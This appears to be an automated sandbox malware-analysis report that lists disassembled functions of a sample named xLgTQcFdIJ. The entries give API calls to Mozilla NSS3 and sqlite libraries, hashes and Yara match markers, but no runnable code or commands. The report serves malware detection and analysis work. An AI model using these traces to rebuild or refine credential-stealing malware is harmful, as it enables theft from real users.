Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 0A21F2B1E043414BE700CF959E4CBAA3768ABA130CF214379ED0C5B652F7B1E6998292

Function 6C75ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C75ACC2

Part of subcall function 6C732F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C732F0A
Part of subcall function 6C732F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C732F1D

Part of subcall function 6C732AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C730A1B,00000000), ref: 6C732AF0
Part of subcall function 6C732AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C732B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C75AD5E

Part of subcall function 6C7757D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C73B41E,00000000,00000000,?,00000000,?,6C73B41E,00000000,00000000,00000001,?), ref: 6C7757E0
Part of subcall function 6C7757D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C775843

CERT_DestroyCertList.NSS3(?), ref: 6C75AD36

Part of subcall function 6C732F50: CERT_DestroyCertificate.NSS3(?), ref: 6C732F65
Part of subcall function 6C732F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C732F83

free.MOZGLUE(?), ref: 6C75AD4F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 232608ed75a543e56be9d7739649c8c388e37ff283d69e41bb33f268901442ba
Instruction ID: 5187d4427c70fb5ae307f65fd5700c9b01954c97ec993f4b1681ca55458a153f
Opcode Fuzzy Hash: 232608ed75a543e56be9d7739649c8c388e37ff283d69e41bb33f268901442ba
Instruction Fuzzy Hash: EE21C6B1D002148BEB10DF68DA0A5FE77B4AF05218F554078D8187B701FB31AA69CBF1

Function 6C783C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C783C9E
EnterCriticalSection.KERNEL32(?), ref: 6C783CAE
PR_Unlock.NSS3(?), ref: 6C783CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C783D02

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5233b85f5e5524c73169a32e1cdc9e30f7e4a5632c32bd74c8ee16e82d9c7fcb
Instruction ID: 0e00df1f3e0e8e90fe887e177e56ad03df11bca57d27caab02af768f95fbf8c6
Opcode Fuzzy Hash: 5233b85f5e5524c73169a32e1cdc9e30f7e4a5632c32bd74c8ee16e82d9c7fcb
Instruction Fuzzy Hash: 7C11BE79A01204AFDB00AF28D949A9A3778EF09368F198574ED098B712E730ED54CBE0

Function 00418950 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
wsprintfA.USER32 ref: 004189E0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

%dx%d, xrefs: 004189D7

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction ID: ec511e81278765dc739de052021e02f912fcc6e2b9c8bb96b49730fbd7d6010e
Opcode Fuzzy Hash: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction Fuzzy Hash: 8B217FB1E45214AFDB00DFD4DC45FAEBBB9FB48710F10411AFA05A7280D779A900CBA5

Function 6C78ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C78F0AD,6C78F150,?,6C78F150,?,?,?), ref: 6C78ECBA

Part of subcall function 6C790FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7387ED,00000800,6C72EF74,00000000), ref: 6C791000
Part of subcall function 6C790FF0: PR_NewLock.NSS3(?,00000800,6C72EF74,00000000), ref: 6C791016
Part of subcall function 6C790FF0: PL_InitArenaPool.NSS3(00000000,security,6C7387ED,00000008,?,00000800,6C72EF74,00000000), ref: 6C79102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C78ECD1

Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C7910F3
Part of subcall function 6C7910C0: EnterCriticalSection.KERNEL32(?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79110C
Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791141
Part of subcall function 6C7910C0: PR_Unlock.NSS3(?,?,?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C791182
Part of subcall function 6C7910C0: TlsGetValue.KERNEL32(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C78ED02

Part of subcall function 6C7910C0: PL_ArenaAllocate.NSS3(?,6C738802,00000000,00000008,?,6C72EF74,00000000), ref: 6C79116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C78ED5A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 270f4741e42307a576102ee0dd2d549457a858c68adb24af59338d32f37d9f8a
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: BF21D4B5A017429BE700CF25DA49B52B7E4BFA5308F15C235E91C8B662E770E5A4C7E0

Function 6C7BEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C7A7FFA,?,6C7A9767,?,8B7874C0,0000A48E), ref: 6C7BEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C7A7FFA,?,6C7A9767,?,8B7874C0,0000A48E), ref: 6C7BEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C7A7FFA,?,6C7A9767,?,8B7874C0,0000A48E), ref: 6C7BEE14

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

memcpy.VCRUNTIME140(?,?,6C7A9767,00000000,00000000,6C7A7FFA,?,6C7A9767,?,8B7874C0,0000A48E), ref: 6C7BEE33

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: f6844bd4d7f4d7b0d7b03d15ed70b72ede8cadcfac33da63430a40b477af565b
Instruction ID: a4f28404676d0040315f65291b2c0666124fac3b2555b776fe52fc4f5f5d690d
Opcode Fuzzy Hash: f6844bd4d7f4d7b0d7b03d15ed70b72ede8cadcfac33da63430a40b477af565b
Instruction Fuzzy Hash: 8711C6B1A0070AABEB109E65DE89B06B3ACEF0435DF244575F919E2B01E330F464C7E1

Function 6C758DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C758DE7
EnterCriticalSection.KERNEL32 ref: 6C758DFC
PR_Unlock.NSS3 ref: 6C758E2D
PR_SetError.NSS3 ref: 6C758E49

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ad198be8c637e2ea517914d9749305ffe5aef5fc3c6b80748f3f5dff4f5459e7
Instruction ID: b4e70d4e8bedd4618ed24aeefb9807d83c414caa7f51171843616d1056315418
Opcode Fuzzy Hash: ad198be8c637e2ea517914d9749305ffe5aef5fc3c6b80748f3f5dff4f5459e7
Instruction Fuzzy Hash: B6114F71A05A009BD740BF78D648569BBF4FF45718F414969DC89D7B01EB30E864CBD1

Function 00417B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
wsprintfA.USER32 ref: 00417B83

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: c3980473cd5af67d898b1e7796d4e9c7fbcb3b6a311921eeb92eb57329937120
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: D4112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E3395940C7B5

Function 6C7DAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C7C5F17,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7DAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C7C5F17,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7DACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7DACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C7CAAD4), ref: 6C7DACDB

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: d0ce9d03966a31ffa90fda55296c4e14d19b7c6c154a46a4155e21c1a031ee7b
Instruction ID: 708aeab8e26c49883b5974d7b56a36c91774d5a4e04121ce347b7c68a6601af9
Opcode Fuzzy Hash: d0ce9d03966a31ffa90fda55296c4e14d19b7c6c154a46a4155e21c1a031ee7b
Instruction Fuzzy Hash: 080129B1601B019BEB60DF39EA49653B7E8BB01669B114839D85EC3E00E735F458CBD1

Function 6C741DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C741DFB

Part of subcall function 6C7395B0: TlsGetValue.KERNEL32(00000000,?,6C7500D2,00000000), ref: 6C7395D2
Part of subcall function 6C7395B0: EnterCriticalSection.KERNEL32(?,?,?,6C7500D2,00000000), ref: 6C7395E7
Part of subcall function 6C7395B0: PR_Unlock.NSS3(?,?,?,?,6C7500D2,00000000), ref: 6C739605

PR_EnterMonitor.NSS3 ref: 6C741E09

Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90AB
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F90C9
Part of subcall function 6C7F9090: EnterCriticalSection.KERNEL32 ref: 6C7F90E5
Part of subcall function 6C7F9090: TlsGetValue.KERNEL32 ref: 6C7F9116
Part of subcall function 6C7F9090: LeaveCriticalSection.KERNEL32 ref: 6C7F913F

Part of subcall function 6C73E190: PR_EnterMonitor.NSS3(?,?,6C73E175), ref: 6C73E19C
Part of subcall function 6C73E190: PR_EnterMonitor.NSS3(6C73E175), ref: 6C73E1AA
Part of subcall function 6C73E190: PR_ExitMonitor.NSS3 ref: 6C73E208
Part of subcall function 6C73E190: PL_HashTableRemove.NSS3(?), ref: 6C73E219
Part of subcall function 6C73E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C73E231
Part of subcall function 6C73E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C73E249
Part of subcall function 6C73E190: PR_ExitMonitor.NSS3 ref: 6C73E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C741E37
PR_ExitMonitor.NSS3 ref: 6C741E4A

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: befa93ce8584c673c3b4ac62d1d3be153e3e91383b0674db0f2e15af0e1fec0b
Instruction ID: d7a1e8d41f85acc86a7a9a334ec512955f0f23e24be38a8346b5c9bd00899e37
Opcode Fuzzy Hash: befa93ce8584c673c3b4ac62d1d3be153e3e91383b0674db0f2e15af0e1fec0b
Instruction Fuzzy Hash: 4B012B75B4017097EB106F69DE08F427768AB55B4DF118030E82897B92E731E834CBD1

Function 6C741D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C741D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C741D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C741D9C
free.MOZGLUE(00000000), ref: 6C741DB8

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e71c3c1d45fe0119fbfcdaa8f9f10e7137e7d2059bf5d06107e6ba3b9148380f
Instruction ID: 41a7a3cf6804ebf77b677e07ce2285cde8fd81c57d54416ecb6314281b11907a
Opcode Fuzzy Hash: e71c3c1d45fe0119fbfcdaa8f9f10e7137e7d2059bf5d06107e6ba3b9148380f
Instruction Fuzzy Hash: ACF049F260121057FB107E19AE47B4736489B8179CF118235DD2D87F01D720E8148AE1

Function 6C78FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C739003,?), ref: 6C78FD91

Part of subcall function 6C790BE0: malloc.MOZGLUE(6C788D2D,?,00000000,?), ref: 6C790BF8
Part of subcall function 6C790BE0: TlsGetValue.KERNEL32(6C788D2D,?,00000000,?), ref: 6C790C15

PORT_Alloc_Util.NSS3(A4686C79,?), ref: 6C78FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C79,?,?), ref: 6C78FDC4
free.MOZGLUE(00000000,?,?), ref: 6C78FDD1

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 403e7273824310c6b7b7e723effebe8edc4b9e68acd1b0e6dbd2a314a44394a6
Instruction ID: 35612df4540e0cd8116f047e7c51c0bf454feae2f8f16f42df8e4e673397c1c0
Opcode Fuzzy Hash: 403e7273824310c6b7b7e723effebe8edc4b9e68acd1b0e6dbd2a314a44394a6
Instruction Fuzzy Hash: 2AF0FCF16022065BEB005F55EE99917B758EF45299B148135EF098BB02E721D815C7F1

Function 6C84CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C84CC61
free.MOZGLUE ref: 6C84CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C84CC80
free.MOZGLUE(?), ref: 6C84CC87

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 73aa0afb5d0820d70eeaee3b4abaf729965a8ac3fff9dd82a817c16ad9b5f7dc
Instruction ID: 560e26ff03764fafddf8bfdaaa93e7475b55ee1a29ffc721198ea1456111fb34
Opcode Fuzzy Hash: 73aa0afb5d0820d70eeaee3b4abaf729965a8ac3fff9dd82a817c16ad9b5f7dc
Instruction Fuzzy Hash: 29E030B6701608ABCA20EFA9DC8488677ACEE4A6743150635E691C3B01D235F905CBE1

Function 6C729DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C729E1F

Part of subcall function 6C6E13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C6B2352,?,00000000,?,?), ref: 6C6E1413
Part of subcall function 6C6E13C0: memcpy.VCRUNTIME140(00000000,R#kl,00000002,?,?,?,?,6C6B2352,?,00000000,?,?), ref: 6C6E14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C729F78
LIKE or GLOB pattern too complex, xrefs: 6C72A006

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: de514786ec6bfdada55786a1352ff937d0ed89699797319e88c1902d67cc58bb
Instruction ID: f8ecada696a5101c06c680bd3b646d6433aa5a98cb535278aedb37f903507fcc
Opcode Fuzzy Hash: de514786ec6bfdada55786a1352ff937d0ed89699797319e88c1902d67cc58bb
Instruction Fuzzy Hash: 16812B71A042518BD750CF39C2903AAB7F2BF55328F2C867DD8A89BB81D739D846C790

